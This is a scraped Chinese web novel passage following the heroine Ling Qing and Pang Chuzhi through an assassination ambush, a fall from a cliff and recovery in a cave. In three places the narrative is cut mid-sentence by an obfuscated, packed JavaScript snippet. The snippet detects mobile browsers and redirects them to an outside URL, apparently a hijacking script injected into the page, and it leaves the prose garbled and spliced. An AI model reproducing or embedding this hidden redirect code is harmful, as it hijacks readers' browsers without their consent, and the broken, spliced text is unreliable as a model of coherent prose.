车轮与石板轻擦,发出刺耳的声响。整个车厢都晃动了一下。车厢内的几个人都被这突然的停顿吓了一跳,身体不由自主地向前倾斜。 陆沁稳住身形,急忙掀开前面的车帘:“王叔,怎么回事?为什么停下了?” 车夫缓缓转过身来。 月光照在他的脸上,照出了一张熟悉的面孔。还是那个平时憨厚老实的车夫,但他的神情却和之前完全不一样。 他看着陆沁,嘴角带着令人心寒的冷笑。 “小姐,路到这里就结束了。” 他的的声音也变了,不再是那种朴实的口音,而是带着刻意压低的沙哑。 陆沁彻底愣住了,瞪大眼睛,不敢置信地看着这个人 “你...……你不是王叔?”她的声音颤抖着,“你是谁?” 车夫冷笑一声,没有回答。只是那笑容越发阴冷诡异。 此时,逄楚之也停下了马。 他一跃起身,直接抽出长剑,直指向车夫,将剑架在他脖子上。 “这到底怎么回事。”他蹙眉看着车夫。 车夫脖颈被架着剑,却丝毫没有胆怯,冷笑声更加明显:“毛头小子,在这碍事。” 他的话音刚落,周围的巷子里开始有动静。 先是一个黑影从左侧的巷子里闪出,然后是第二个,第三个..…… 很快,数十个黑衣蒙面人从四面八方的巷子里涌出。他们身形敏捷,脚步无声,手中都拿着雪亮的剑。剑身在月光下闪着寒光,如同要咬人的毒蛇利齿。 他们从四面八方包围过来,将马车围成了一个圈。 夜风吹过,发出猎猎的声响。空气中弥漫着一种说不出的杀气。 陆沁彻底怔住了。 她看着这些黑衣人,看着他们手中的剑,整个人都有些不知所措。她自小长在深闺,从来没有见过这样的场面。 “这是怎么回事?”她的声音越发抖动,“他们………不会要………” 凌青从车厢里跳了下来。 她站在马车旁,目光冷冽地扫视着周围的刺客。 “小姐,你还不明白吗。”她淡声道,“有人想要我们的命。” 此话一出,陆沁不敢置信地望向她。 “什么?”陆沁眼中满是震惊和恐惧,“我们得罪了谁?谁要是杀我们?这……这可是京城天子脚下,他们怎么敢直接行凶?” “反正把咱们脖子一抹,也找不着证人,只能当成个抢劫杀人,他们怎么不敢啊。”逄楚之慢悠悠道。 凌青道:“怕是我们的存在实在太碍她的眼了,她实在忍不了了,只能下狠手,直接把我除掉。” 她停顿了一下,声音中带着一丝嘲讽:“只是为难她了,书香世家的大家闺秀,竟还能想出买凶杀人的招数。” 陆沁瞪大眼睛:“你是说………” 是谁,不言而喻。 逄楚之依然举剑比着那车夫,但他看着凌青如此神态,忍不住笑了。 “姐姐,”他的声音中带着好奇,“你怎么如此冷静?仿佛早就料到了一般。” 凌青瞥了他一眼:“你不也一样。” 逄楚之摊了摊手,摆出一副无辜样:“我是被牵连进来的人,他们应该不会杀我吧。” “那可说不准。” 说完,凌青不再理他,转头看向后面。 来了。 那辆一直远远跟在后面的马车,此时也停了下来。 车门打开,从里面跳下来几个人。他们穿着陆府护卫的服饰,手中都拿着刀剑,看起来早早做好了准备。 陆沁更加不可置信,却又想到了什么,看向凌青。 凌青知道她在想什么,直接应道:“近日我和小姐得罪的人不少,是该做些准备。今早出府前,我特意去了老夫人那一趟,让她给我们指派些护卫远远跟着。” 逄楚之轻笑:“姐姐,我说你怎么防范心这么强,生怕所有人都要害你。原来你一直这样啊。” 他话音刚落,那些蒙面人开始缓缓接近。 他们的脚步很轻,每一步都带着杀意。背后空无一人的街道上,投下了他们二十余人长长的影子。 陆府护卫也迅速围拢过来,将陆沁她们护在中间。他们瞬间拔刀,准备应战。 领头的护卫是个中年汉子,他死死挡在陆沁面前,大喝一声:“保护小姐!” 话音未落,第一个蒙面人已经飞身而起。 他的剑如毒蛇吐信,直刺领头护卫咽喉。护卫侧身闪避,钢刀横扫,刀背重重砸在对方手腕上。咔嚓一声脆响,蒙面人惨叫着跌倒,剑也脱手飞出。 但这只是开始。 更多的黑影从四面八方涌来,如潮水般汹涌。钢刀与长剑相撞,火花四溅。 逄楚之也动了起来,他的剑法如银蛇狂舞,凌厉至极,每一招都直指要害。 凌青站在后面,看着眼前这一切。 这群刺客看着唬人,但其实都是三流货色。虽然数量上占优势,但武功抵不过陆府护卫,更敌不过逄楚之一人。 这场打斗很快就呈现出一边倒的场面,那群黑衣刺客被打得节节败退。 就在此时,忽然一个人影悄悄地动了。 那车夫不知何时,悄无声息地从腰间抽出一把寒光闪闪的匕首,缓缓向马车边上走来。 他的眼中闪过一丝嗜血的兴奋。如同潜伏在暗处的毒蛇,等待着致命一击。 趁着护卫们被围攻,逄楚之被缠住的瞬间,他动了。 身形如鬼魅,脚步无声,整个人仿佛融入了夜色之中。匕首在月光下一闪即逝,直刺向陆沁和凌青。 “凌青小心———” 陆沁惊声大喊,用尽全力将凌青往侧方一推。 凌青整个人踉跄着后退半步,后腰撞到马车边沿才稳住。 她彻底愣住了。 周遭的声音仿佛被瞬间抽离,耳边只剩下急促的心跳。她茫然地抬起头,看向前方。 视野里所有都成了模糊,只有陆沁那道单薄得摇摇欲坠的身影———她如此毅然,如此决绝地挡在她面前。 眼前的画面越来越慢。 凌青怔怔地看着陆沁。 她不敢相信,她不敢相信眼前的情景。 为什么………为什么陆沁要对她这么好,她只是个下人啊。 她为什么要…………以命相护? 她不知此刻心中涌起的是什么,是感动,还是震惊。她只知道,她欠陆沁的,太多太多了。 车夫调转匕首,反手刺向陆沁的胸口。刀尖带着寒光,距离陆沁只有咫尺之遥。 “小姐———”谷翠凄厉的声音传来。 就在这时——— 一道银光如流星般划破夜空! 飞镖带着破空声,直接撞向车夫。 车夫为了躲避,迅速闪开,此刀刺空。 就是这一瞬! 凌青迅速回过神,手腕一翻,一把白色的药粉向车夫的面门撒去。 “嘶——”车夫来不及闪避,药粉钻入口鼻,他立即感到一阵天旋地转。 但这个伪装成车夫的杀手,显然不是易与之辈。竟强忍着头晕,用袖子捂住口鼻,眼中凶光更盛。 一击不中,他立即变换招式,匕首如毒蛇般再次刺出。 “还来?飞镖没吃够?”逄楚之冷声道。 他一剑逼退眼前的敌人,身形如电般扑向车夫。长剑带着凌厉的剑气,直取车夫的咽喉。 铛! 匕首与长剑相撞,发出刺耳的声响。车夫的虎口被震得发麻,但手上匕首速度丝毫没减。 凌青扶住陆沁,皱着眉看向那人。 不好………这人看起来……似乎和那群蒙面杀手不是一个层次的。 他果然冷笑一声,手腕一转,匕首如蛇般绕过剑身,直刺逄楚之的心脏。这一招阴险毒辣,角度刁钻,完全不是江湖上常见的路数。 逄楚之急忙后退,但车夫如影随形,步步紧逼。他的身法诡异莫测,如鬼魅飘忽,每一招都直指要害,招招夺命。 “该死!”逄楚之骂了一声,“怎么如此难缠!” 凌青眉头蹙得更深。 这身法,绝不是普通刺客了,应是专门培养的顶尖杀手。该死,林雪桐到底从哪请的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马儿风驰电掣般冲到两人身边,逄楚之趁机一个旋身,长剑逼退车夫,然后一只手抱起凌青,将她拉到马背上。 “驾!”逄楚之翻身上马,一手揽住凌青的腰,一手握紧缰绳。 “抓紧了!”他在她耳边急声说道,声音中带着生死关头的紧迫。 话音刚落,他猛地一夹马腹。 马儿嘶鸣一声,如离弦之箭般冲出重围。 “追!别让他们跑了!”车夫怒吼,翻身上马紧追不舍。 逄楚之看了一眼陆沁马车离去的方向,毅然调转马头,向着相反的荒山方向奔去。 “你疯了?那边是山!”凌青急道。 “正是要引开他们!”逄楚之咬牙道,“他们的目标主要是阿姐!不能让他们追上阿姐!” 骏马载着两人沿着蜿蜒的山路疾驰而上。身后的刺客紧追不舍。 “他们快追上来了!”凌青回头看了一眼,那些黑衣人骑着马紧追不舍,距离越来越近。 逄楚之紧抿着唇,眉头深深蹙起。山路崎岖难行,稍有不慎就会坠入深谷。但身后的追兵逼得他们不得不继续向上。 越往上,山路越险峻。 突然,前方的路断了。 一道深不见底的悬崖出现在眼前,月光洒在崖壁上,显得格外阴森恐怖。下面是万丈深渊,雾气缭绕,看不到底。 “没有路了?”逄楚之勒住马缰,看向那万丈悬崖。 凌青的心跳如擂鼓,她拼命地思考着脱身之法。可这悬崖峭壁之上,哪还有生路! 身后的马蹄声越来越近,火把的光芒已经能看见了。 “你不是有轻功吗?”凌青突然想到什么,急声问道。 “是有,但是我受了伤。”他低声道,看了看自己血迹斑斑的肩膀,“一个人可以,带不了你。” 他的声音再也没有往日的温柔,只有一片冷意: “姐姐,我实在是无能为力了。” 凌青瞬间明白了。 这一刻,逄楚之终于露出了真面目。之前的温柔体贴,善良天真,此刻终于化为乌有。生死关头,他选择了自保,这没错。 但她不想死! 绝对不能死在这里! 凌青的心中涌起一股强烈的求生欲,她咬紧牙关,脑海里飞快运转。 “下来!”逄楚之翻身下马,同时将凌青也拉了下来。 身后的刺客也已经追了上来。 逄楚之拍了拍马匹的脖子,低声说道:“回去吧,雪芽儿。” 骏马似乎听懂了主人的话,它嘶鸣一声,然后猛地向后冲去。马匹高高跃起,从那些刺客的头顶上飞过,在他们惊愕的目光中狂奔而去。 “该死!让马跑了!”车夫怒骂一声。 “人还在这里!”一个刺客指着悬崖边,“他们跑不了了!” 逄楚之站在悬崖边,月光洒在他身上,给他的身影渡上了一层银辉。 他转过身,看了凌青一眼,那眼神中没有丝毫感情,冷漠得如同陌生人。 “姐姐,保重了。” 说完,他就要运起轻功。 就在这千钧一发之际—— 凌青突然猛地扑过去,不顾一切地撞向逄楚之。她紧紧抱住他的腰,用尽全身的力气跌向悬崖。 “你疯了?”逄楚之大惊,想要推开她,但为时已晚。 两个人的身体失去平衡,一起向悬崖边跌去。 “啊——” 两声惊叫在夜空中回荡,然后消失在深不见底的悬崖之中。 月光洒在空荡荡的悬崖边,只剩下那些刺客面面相觑,不知所措。 41. 埋怨 疼。 很疼。 凌青的意识仿佛从深不见底的黑暗中慢慢浮起,疼痛如潮水般一波接一波地涌来。头疼得快要裂开,太阳穴处跳动着刺骨的疼,身上也难受得厉害,仿佛正被无数针扎着一样。 这么疼……她不会要死了吧。 不可能,她可是“天煞之人”,命硬着呢,怎么可能就这么不明不白的死了。 迷茫中,她缓缓睁开眼睛。入目的是昏暗的洞顶,石壁上倒映着摇曳的火光。空气中弥漫着湿润的水汽和淡淡的木柴烟味。 她在一个山洞里。 凌青试图回忆之前发生的事情。刺客,逃命,悬崖,还有……… 她艰难地撑起身子,捂着头环视周围。山洞不大,约有两三丈见方,洞口处隐约能看见外面昏暗的天色。一堆火在洞中央燃烧着,发出微弱的光芒。除了她,洞里空无一人。 她正要捂着头跌跌撞撞地站起来,就听见脚步声从洞口传来。 脚步声很轻,但夹杂着略微的拖拽声,像是有人在一瘸一拐地走路。 逄楚之的身影出现在洞口。 他的衣服湿漉漉的,头发凌乱,脸色苍白,左肩处有明显的血迹,右腿似乎也受了伤。 他手里抱着柴火,艰难地走进来。 看见她醒了,逄楚之脸上闪过一丝意外。 他缓缓走到火堆旁,扔下柴,没好气地看了凌青一眼。 “你还活着啊,真是命大。”他冷笑一声,声音带着嘲弄:“这必死的结局都能被你改变,你怎么这么厉害呢?” 他似乎再也不想装了,声音毫无往日温柔,只有压抑着的怒意。 凌青咳嗽了几声,蹙眉问道:“怎,怎么回事。我们怎么会在这。” 话音一落,她才发现自己喉咙干涩得厉害,声音沙哑如破风箱。 逄楚之将柴火一根根扔到火堆旁,拍了拍手上的灰尘。 他慢慢坐下,伸手烤火。 “托你的福,幸好这下面是江水。”他道,“我们跳下来的时候,我还在一颗悬崖上伸出的树枝缓了一下,这才跳进了水。江水很深,冲击力没那么大。我便带着你划水,顺流而下,找到了这一处山洞歇脚。” 他顿了顿,目光看向凌青:“否则我们俩今晚就要被泡死在江水里,直接变浮肿。” 江水?怪不得他们没什么大事。 只是……逄楚之会这般好心地拖她上来? “在那树上撞了一下,我腿都要断了!要不是你,我能变成现在这个样子?我自打出生开始,就没这么狼狈过!”逄楚之的声音又提高了几分,眼中埋怨之意更重。 凌青冷笑一声:“你会这般好心救我?在悬崖上面你还准备独自逃命呢。” “我说了,我带不了你。难道你非要让我们两个一块死,你才甘心吗?” “我拖着你,还有一线生机。不拖着你,就一点机会也没有了。” “所以你就要拉着我一起死?”逄楚之咬牙切齿,“若是下面不是江水,我现在就粉身碎骨了!” “我说了,我不是想让你死。”凌青毫不示弱地回嘴,眼中闪过一丝不耐,“我只是想在最后寻得一丝生路。若是你是我,你也会一样,我们本就是这样不择手段的人,谁又何必说谁。” 逄楚之被她说得一顿,眼中闪过一丝复杂的情绪。 “好,很好。”他反应过来,冷笑一声,语气越发阴沉,“既然你这么说,那我们就把话说清楚。即使我在悬崖上丢下你,但你又把我一块拉下来,这就算互相抵了。但是我可是从水里把你一块救了上来,这算你欠我的吧?” 凌青:“………”就逄楚之现在这个疯样,跟善良没有半点关系。她是绝对不会相信,他会发善心救自己的。 “你真的救了我?”她又问了一遍。 “………”逄楚之沉默片刻,还是不耐道:“我也不知道你哪来这么大的劲。从抱着我跌下悬崖开始,就死死扒着我,两只手跟镶嵌在我身上似的,怎么都挣脱不开。” 他说到这里,语气更加恼怒:“要不然,我早自己一个人游上来了,活生生多在水里泡了大半个时辰。最离谱的是,一到山洞,你就自己放开手了。” 凌青默然。 这些事………她真不记得了。从跌下山崖开始,她就没有了意识。 也许是自己的求生欲望太过强烈,或者是复仇的意愿太过火热。所以让她抓住唯一的希望,就这么死死不放手。 这么说………虽然不是逄楚之乐意的,但还真是他“阴差阳错”救了自己。 凌青看向逄楚之。 火光映照在他的侧颜上,那张往日里少年气十足的的面容此刻显得十分冷漠。没有了平日里的温柔笑容,竟有些让人胆战心惊。 “………谢谢啊。”她说道。 逄楚之看了她两眼,没搭理她,自己坐到火边,开始脱下外衣烤干。 她还想说点什么。但是不知为何,感觉头越来越晕,身体深处不断传来寒意,让她忍不住蜷缩起来。 她努力想让自己清醒一点,却无济于事。就这样昏昏沉沉中,她似乎又迷迷糊糊地睡着了。 不知过了多久,她才重新有了意识。 这次醒来,比之前更加难受了。头疼得像要炸开,身上忽冷忽热,嘴唇干裂得厉害。 逄楚之正皱着眉站在她面前,火光从他身后照过来,让他的表情显得模糊不清。 她迷茫地看着逄楚之,只觉得眼前的人影都在晃动,像是隔着一层水雾。 “你发热了。”逄楚之的声音从很远的地方传来,“这个烧法,又没有药,看样子熬不过今晚了。” 凌青:“………” 她知道他盼着自己早点死,但也不至于这么直白吧。 凌青强撑着精神,虚弱地开口:“谢谢啊,恐怕不能如你愿了,我一定会熬过去的。 逄楚之闻言,轻笑了一声:“你还真是拼了命的想活下去啊。” 他慢慢蹲下身,与她平视。火光跳跃着照在他的脸上,忽明忽暗,让他的表情显得阴晴不定。 “据我所知,你是清水县的一个孤女,家中父母相继去世,只给你留下了一个小药铺。可是这药铺也被你叔嫂夺了去。” 他的声音很轻,却带着一种审视的冷漠,每个字都像针尖一样戳在人心上。 “你在世上早已无牵无挂,为什么这么想活下去?” 他唇角微扬,却带着一股冷意。 凌青蹙着眉,看着他。 什么意思………他又想做什么? “无牵无挂的人就不配活着了?”片刻后,凌青才缓缓道:“我就为了自己这条烂命活着不行吗?还是这世上只允许你这样的人活着?” 两个人的目光在空中相撞,毫不相让。 周围的时间仿佛都凝固了,只有火光在两人中间跳跃着,将他们的影子投射在洞壁上,扭曲、狰狞………又势均力敌。 半晌,逄楚之脸上闪过一丝玩味的神色。他的头微微侧向一边,打量着凌青。 “行,当然行。只是………” 他的身体前倾,脸离她越来越近。即使在这么狼狈的状态下,那张脸都漂亮得让人心惊。 他越靠越近,直到两人的呼吸几乎要交融在一起。 凌青能看清他眼中的强势。可她没有后退,反而微微抬起下巴,用一种近乎挑衅的姿态迎接着他的逼近。 逄楚之直勾勾地盯视着她,展颜一笑。 “只是我很好奇,你这样厉害的手段,这样狠的心思,竟然真的任由那些亲戚夺取你的药铺……… “不做一点反抗?” 凌青瞬间心里咯噔了一下。 果然……他早就调查过她。什么时候,什么时候他开始怀疑自己的?难道他之前一次次的伪装接近,都是为了试探? 刻意等到她最虚弱的时候直接盘问,逄楚之………可真是好心思。 她深吸一口气,平静地回应着他的目光、说出自己早已准备好的说辞:“那时候太小了,只知道沉溺于父亲去世的悲伤。我也是自那一事之后,才知道人一定要够狠,一定要为自己打算。” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246535|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音落下,没有回应。 过了好一会儿,逄楚之才笑了一声,声音听不出喜怒。 他没有再追问,站起来,重新坐回火边。 感受到他离远了,凌青这才悄悄舒了一口气。 只是,应付完逄楚之,她的脑子越发混沌了,仿佛有什么东西在脑海里不住搅动。热度从内而外地灼烧着她的每一寸神经,她的视线开始变得模糊不清。 不好………逄楚之说得没错,她这种高热,恐怕真的会出危险。 她可不想刚大难不死,就死在这么一场风寒上。 她得做点什么。 可是………她此次出来光带了迷药粉,药粉也在之前对付刺客时全用完了。没有任何药草,她怎么自救? 忽然,她似乎想起了什么。 她真是烧糊涂了!现在在山里,最不缺的就是药草。医术上曾说有个能退热的药草,名叫紫苏叶。这种草药在山中很常见,能够退热祛湿。 没办法了,她现在只能去试试找找了。 她慢慢吞吞地扶着山洞壁站起来,稳住身形。就怎么一个动作,都足够让她感到头晕目眩。 她刚要走,就听到背后传来声音。 “你要干什么?” 她艰难地转过头,看到逄楚之蹙着眉,抱着胳膊看着她。 “去找药草。”她用她那破锣嗓子答道。 “………” 逄楚之看着她本就瘦弱,此时更是摇摇欲坠的身板,不由气笑了。 “就你?”他讥讽道:“你这羸弱的小身板,以现在这个蜗牛速度走出去,走上一天都走不出这个山洞。” “况且,说不定刚走出去就直接死了。别白费力气了,还不如在这等死呢。” 凌青实在没那个精力去反驳他了,只能当作听不见,继续往洞口走。 每走一步,她都要扶着石壁停顿一下。 这个样子,都别说走出去死了,感觉下一秒就可能直接晕倒在地上。 她却毫无所知,步伐虽然缓慢,却异常坚定。每一次停顿后,她都会深深吸一口气,然后继续前行。 逄楚之站在那里看了半天,实在看不下去了。 他站起来,语气不耐道:“行了,大姐,你快歇歇吧。长什么样子,我去给你找!” 凌青停下脚步,缓缓转过身。 她有些不可思议地看向逄楚之,显然不敢相信对方所言。 直到看到对方眼里的神色,她才知道对方是认真的。 “叶子呈卵形,边缘有锯齿,背面有细毛。茎是紫色的,有特殊的香味。多生长在山坡、路边的阴湿处。”哪怕脑子一片混沌,她还是熟练地背了出来。 逄楚之闻言,点了点头,在凌青的目光中一瘸一拐地走了出去。 他的身影消失在洞口,只留下摇曳的火光。 凌青重新扶着石壁,坐回原处,紧紧抱着膝盖。 时间不知道过去了多久,她一直在昏昏沉沉,似睡非睡。 就在她以为,逄楚之不会回来了的时候,她听到了外面的脚步声。 那个身影重新出现在洞口。 他手里拿着几株带着露水的紫苏叶,走到她面前,随手扔在她身边。 “就这个吧。”他说。 凌青艰难地睁开眼睛,看了看那叶子。叶子的形状、颜色、香味都和书里写的一样。 她毫不犹豫地摘下几片叶子,直接扔进嘴里嚼了下去。 苦涩的味道在口中蔓延,带着一丝辛辣。那种味道让她的胃里翻江倒海,但她毫不在意,继续嚼着。 逄楚之重新坐回火边,看着她狼吞虎咽吃草药的样子,眼中情绪越发复杂。 “你还真是什么都敢往嘴里塞。”他道,“不怕我给找了个毒草啊?” 凌青缓缓抬起头,看向他。 她那双眼眸,即使在大病之中,仍然澄澈至极。此时被火光映衬,更显得深不见底。 “我就是在赌命。”她淡声道。 “不管怎么样,到现在为止,我每一次都赌赢了,不是吗?” 42. 回报 无声。 晚月西斜,山中一片静谧。 火光渐渐微弱,山洞里的温度也越来越低。寒意从石壁上渗透而出,直钻进人的皮肤里。 逄楚之本想睁着眼熬过这一夜,但伤势加上疲累,他的眼皮越来越沉重。肩膀上的伤口隐隐作痛,腿部更是麻木。不知不觉间,他倚着石壁,缓缓闭上了眼睛。 火堆渐渐暗了下去,只剩下一点微弱的红光。 也不知过了多久,逄楚之在半梦半醒间,隐约听到了一些细微的声响。 是脚步声。 多年来的警觉让他猛地睁开眼,他本能地想要起身,却牵动了肩上的伤口,疼得他倒抽了一口凉气。 他慢慢摸向腰间,却摸了个空,他这才想起自己的佩剑早就在掉下来时不知去向了。 一个乌黑的身影,从洞外缓缓走进来。 脸上身上满是泥污,头发也凌乱不堪,唯有那双眼睛———仍旧冷淡却清亮。 看清那双熟悉的眼睛,逄楚之才彻底松了口气。 “我还以为是什么妖怪呢。”他没好气地说:“你这泥巴糊了一脸,跟那野人似的。” 凌青没有理会他的嘲讽,走到他面前。 她虽糊了满脸泥,但从眼神就能看出,她的精神状态好了不少。身子虽还是孱弱,但也不像之前那样摇摇欲坠了。 “你睡着的时候,我烤了火,把衣服烘干了,现下也彻底退了热了。”她淡淡道。 逄楚之这才注意到,刚刚快要熄灭的火堆不知何时重新燃了起来。 他看向凌青,目光带了几分惊讶。 没想到……还真让这弱不禁风的丫头活了过来,他还以为她不死也会晕过去呢。 “你还真是生命力顽强。”他用慵懒的语调调侃道,“不过你也不用刚好了病,就出去撒野吧,把自己摔得一身泥。” 凌青没有回答,只是走近他,缓缓地向他摊开手心。 她的手心里躺着几株碧绿的草药,叶片上还沾着晶莹的露水。那些草药被小心地束在一起,显然是精心挑选过的。 “这是什么?”逄楚之皱眉问道。 “现在外面有亮光了,我出去给你找了敷伤口的药。”凌青的声音依然平静,没有一丝起伏,“身子有些软,便不小心摔了一跤。” 她顿了顿,继续说道:“你的肩伤不能不治,会有发热的风险。况且你现在腿也瘸了,两者并发,你连下山都不好下,很有可能一个不小心就摔死,所以我还给你找了树枝固定腿。” 这话说得丝毫没有温情,但逄楚之却愣住了。 他看着凌青,心中渐渐涌起一种说不清的复杂情绪。 虽然他恨这个女人恨的牙痒痒,恨她把自己拉下来一起受苦,又恨她之前百般不上套。 但不得不说,这女人生命力之强实在是让他………钦佩 而且,这人还不喜欢欠别人人情。之要对她一点好,她就一定加倍还回来。 倒有点让他不好意思了。 “你能别说得这么难听吗?”他故作不在意地动了动腿,声音里却带着一丝不易察觉的别扭,“什么叫瘸了?我这最多算是扭伤,过两天就好了。” 凌青淡淡地看了他一眼,没有反驳。 她自顾自的,将草药放在一块平整的石头上,用手慢慢地将其捣碎。绿色的汁液渗出来,散发着一股清香的味道。 逄楚之看着她的动作,眼神不由移到她低垂的眉眼上。 打量了半晌,他忍不住出声道: “你这刚退热………找这些草药不容易吧?” 他的声音依然带着矜傲,却不像之前那么呛了。 凌青抬头瞥了他一眼:“你以为我和你一样,见了草药哪个也不认识,扒拉许久吗?我看一眼,便能看出哪个是什么。” “………”逄楚之被她噎得说不出话。 “好了。”凌青捣好药材,准备给他上药。 她看了看他身上的衣服,蹙眉道:“你不打算脱衣服吗?” 逄楚之闻言,更是一怔。 片刻之后,他不可置信地说:“你说什么?” “脱衣服啊。不脱衣服怎么上药?” 她说得理所当然,仿佛这是最平常不过的事情。没有半点羞涩,也没有半点扭捏。 “你……你要给我上药?”逄楚之竟有些不自在了起来:“我自己来就好。” “你够不到。”凌青冷声道:“你在扭捏什么,上次你不是让我给你上过药?” 那当然不一样……上次是他为了掩盖自己被人行刺的秘密,才去的陆府。正好那时想试探一下这个丫鬟,便让她给自己处理伤口。 只是……那时有阿姐在旁边,他自然不觉得有什么。 可现在……孤男寡女,共处一个山洞,只有他们两个人。 逄楚之的脸上染上一抹薄红,却还是嘴硬道:“那能一样吗?” 凌青闻言,眼神越发不可思议。 “你到底在矜持些什么?”她蹙起眉道:“你是觉得我看了你的身子,是在占你的便宜?” 说完她又凉凉地补充了一句: “真没看出来,原来你是这么要脸面的人。” 逄楚之:“………”他服了。 半晌,他才不情不愿地脱下衣服。肩胛骨处一道新伤正渗着血珠,却掩不住紧实的肌肉。从肩头顺延至腰侧的每一处曲线,都完美至极,绷得紧紧的,暗藏着爆发力。 凌青丝毫不在意他的身材,直接拿起捣碎的草药,准备敷在他的伤口上。 “会有些疼。”她提醒道。 话音刚落,她就敷了上去。一阵刺痛瞬间袭来,逄楚之疼得倒抽了一口凉气。 “嘶………”他紧蹙着眉,看向凌青,“就你这敷药的手法………真的是家里做过药铺的?这么多年,就就没有问诊的人骂过你吗?竟还让你们的药铺开了这么多年。” “你哪来那么多话。” “我也不想说这么多话。我只是第一次见识,有人敷药,能把人先疼死。” “你怎么不想想,是不是你太娇生惯养了。”凌青淡淡地回应,手上力度却丝毫不减。 逄楚之又被她气笑了:“我娇生惯养?你是不知道我多大年纪就………” 话还未说完,他又是一阵痛呼,不得不停下来。 “嘶………你就是看我没摔死,不甘心,想把我活活疼死。” “你知道就好。”处理完肩膀的伤口,凌青又蹲下身,开始检查他的腿。 “腿不算严重,但要固定一下。”她轻轻按压着他的腿。 逄楚之只觉得一阵酸麻疼痛从腿部传来。 “轻点………”他咬牙说道。 “固定不会那么疼的。”凌青拾起来地上的树枝和藤蔓,那是她出去寻草药时一起找回来的。 “………就用这个?”逄楚之看着她手中的东西。 “管用。”凌青将树枝在他的小腿两侧比划着,“你这腿筋脉受损,需要固定几日。现下没有别的东西,用树枝最为简单。” 她将树枝掰到合适的长度,然后放在他的腿部两侧。再用藤蔓加以缠绕固定,这样腿便有了支撑。 “你试试可不可以。”她道。 逄楚之试着活动了一下,发现虽然限制了,但疼痛确实减轻了许多。 “再稍微……松一点点。”他轻声。 凌青低下头,继续给他缠绕藤蔓。 山洞里火光摇曳,在石壁上投下两道重叠的影子。夜风偶尔从洞口钻入,带着山间特有的冷意。火苗轻颤,光影也跟着晃动。 这样安静的氛围下,之前的剑拔弩张已经消失殆尽。 逄楚之垂眸看着眼前专注给她治伤的少女。 她离他这样近,近到他能闻到她身上淡淡的草药香味,近到他能看清那满是泥污,却仅露出来的冷清眼眸。 那双无论在什么时候,都无比坚韧而冷静的眼眸。 似乎世上没有什么事能阻挡她。 连生死都不能。 逄楚之就这么看着她专注的样子,过了许久,才缓缓开口。 “好了。”他轻声:“你快休息一会儿吧………” “姐姐。” 凌青抬起头。 两个人四目相对,火光在彼此的眸子中跳动着。 夜风忽然停了,连远处的虫鸣都仿佛静了下来。整个山洞里只剩下火苗轻微的噼啪声和两人浅浅的呼吸声。 火光将逄楚之的面容映得忽明忽暗,那双眼睛里似乎有什么,却又什么也没有。 凌青静静地看着她,半晌才开口:“你………” “嗯?”逄楚之低下头,声音带了几分温柔。 “你————又开始演戏了?”凌青站起来,拍拍手上的草药,“不至于这么敬业吧,这种时候都要演。别演了,恢复原样吧,你之前桀骜不驯,鼻孔朝天的样子也挺好的。” “……………” “你怎么这个表情?” “累了。” 说完,逄楚之背过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259701|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,不再说话。 —————— 栖桐院内。 林雪桐坐在梳妆台前,对着铜镜细细地卸着妆。 哪怕如今被禁足,她也每日早上花上两个时辰上妆。不为别的,就为了这份陆府主母的体面。 铜镜中映出她精致的面容,眉目温柔,嘴角带着恰到好处的浅笑。经过这段日子的保养,她前些日子的憔悴似乎荡然无存。任何人看了她现在这副模样,都会觉得这是一个慈眉善目的贤妻良母。 “母亲!” 房门被推开,陆砚修匆匆进来。他脸上的神色有些慌乱,气喘吁吁,显然是跑着过来的。 “这么晚了,怎么这么着急,莫不是府中出事了?”林雪桐放下手中的绢帕,通过镜子看向他。 镜中人的嘴角微微扬起,却带着说不出的森冷。 “母亲………”陆砚修深吸一口气,声音有些颤抖:“二姐………二姐回来了。” 林雪桐脸上的笑容僵住,不可置信地转过头。 “你说什么?怎么可能?”她蹙眉道:“她活着回来的?” “是………” “她一个弱女子,那样的杀手都没能杀得了她?” 林雪桐在心中怒骂那群杀手不干人事。她花重金请来那么多人,请的还都是见过血的亡命之徒。对付一个养在深闺的千金小姐,本该是手到擒来的事。这都能失败? “是不是那几个废物贪生怕死,没有尽力?”她的声音倏然变得冰冷。 “不是的,母亲!”陆砚修急切地摇头。“是………是逄楚之!逄楚之不知怎么的和她们一起!” 此名字一出,林雪桐的脸色瞬间变了。她瞪大了眼睛,看着陆砚修。 “你说什么?”她再也控制不住情绪,冲上去问道:“楚之?” “据说是在路上偶然遇到的,他便救了二姐,可是二姐回来了。他和二姐身边那个丫鬟………却莫名失踪了。” “生不见人,死不见尸。” 此话一落,林雪桐只觉得眼前一黑,差点站不稳。她伸手扶住桌案,深深地吸了几口气,这才勉强稳住心神。 “这……这怎么可能?”她喃喃自语,“他怎么会出现在那里?” 